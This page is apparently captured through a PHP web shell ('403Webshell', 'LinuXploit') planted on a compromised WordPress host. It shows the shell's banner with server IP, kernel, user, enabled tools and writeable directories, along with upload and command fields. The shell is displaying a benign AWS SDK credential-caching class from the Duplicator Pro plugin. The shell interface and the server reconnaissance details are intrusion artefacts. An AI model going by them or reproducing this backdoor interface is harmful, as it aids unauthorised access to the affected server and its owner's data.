403Webshell
Server IP : 172.67.158.161  /  Your IP : 3.12.161.6
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/thread-self/root/proc/self/cwd/wp-content/plugins/duplicator-pro/aws/Aws/Common/Credentials/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/thread-self/root/proc/self/cwd/wp-content/plugins/duplicator-pro/aws/Aws/Common/Credentials/CacheableCredentials.php
<?php
/**
 * Copyright 2010-2013 Amazon.com, Inc. or its affiliates. All Rights Reserved.
 *
 * Licensed under the Apache License, Version 2.0 (the "License").
 * You may not use this file except in compliance with the License.
 * A copy of the License is located at
 *
 * http://aws.amazon.com/apache2.0
 *
 * or in the "license" file accompanying this file. This file is distributed
 * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
 * express or implied. See the License for the specific language governing
 * permissions and limitations under the License.
 */

namespace DuplicatorPro\Aws\Common\Credentials;

defined("ABSPATH") or die("");

use DuplicatorPro\Guzzle\Cache\CacheAdapterInterface;

/**
 * Credentials decorator used to implement caching credentials
 */
class CacheableCredentials extends AbstractRefreshableCredentials
{
    /**
     * @var CacheAdapterInterface Cache adapter used to store credentials
     */
    protected $cache;

    /**
     * @var string Cache key used to store the credentials
     */
    protected $cacheKey;

    /**
     * CacheableCredentials is a decorator that decorates other credentials
     *
     * @param CredentialsInterface  $credentials Credentials to adapt
     * @param CacheAdapterInterface $cache       Cache to use to store credentials
     * @param string                $cacheKey    Cache key of the credentials
     */
    public function __construct(CredentialsInterface $credentials, CacheAdapterInterface $cache, $cacheKey)
    {
        $this->cache = $cache;
        $this->cacheKey = $cacheKey;

        parent::__construct($credentials);
    }

    /**
     * Attempt to get new credentials from cache or from the adapted object
     */
    protected function refresh()
    {
        if (!$cache = $this->cache->fetch($this->cacheKey)) {
            // The credentials were not found, so try again and cache if new
            $this->credentials->getAccessKeyId();
            if (!$this->credentials->isExpired()) {
                // The credentials were updated, so cache them
                $this->cache->save($this->cacheKey, $this->credentials, $this->credentials->getExpiration() - time());
            }
        } else {
            // The credentials were found in cache, so update the adapter object
            // if the cached credentials are not expired
            if (!$cache->isExpired()) {
                $this->credentials->setAccessKeyId($cache->getAccessKeyId());
                $this->credentials->setSecretKey($cache->getSecretKey());
                $this->credentials->setSecurityToken($cache->getSecurityToken());
                $this->credentials->setExpiration($cache->getExpiration());
            }
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit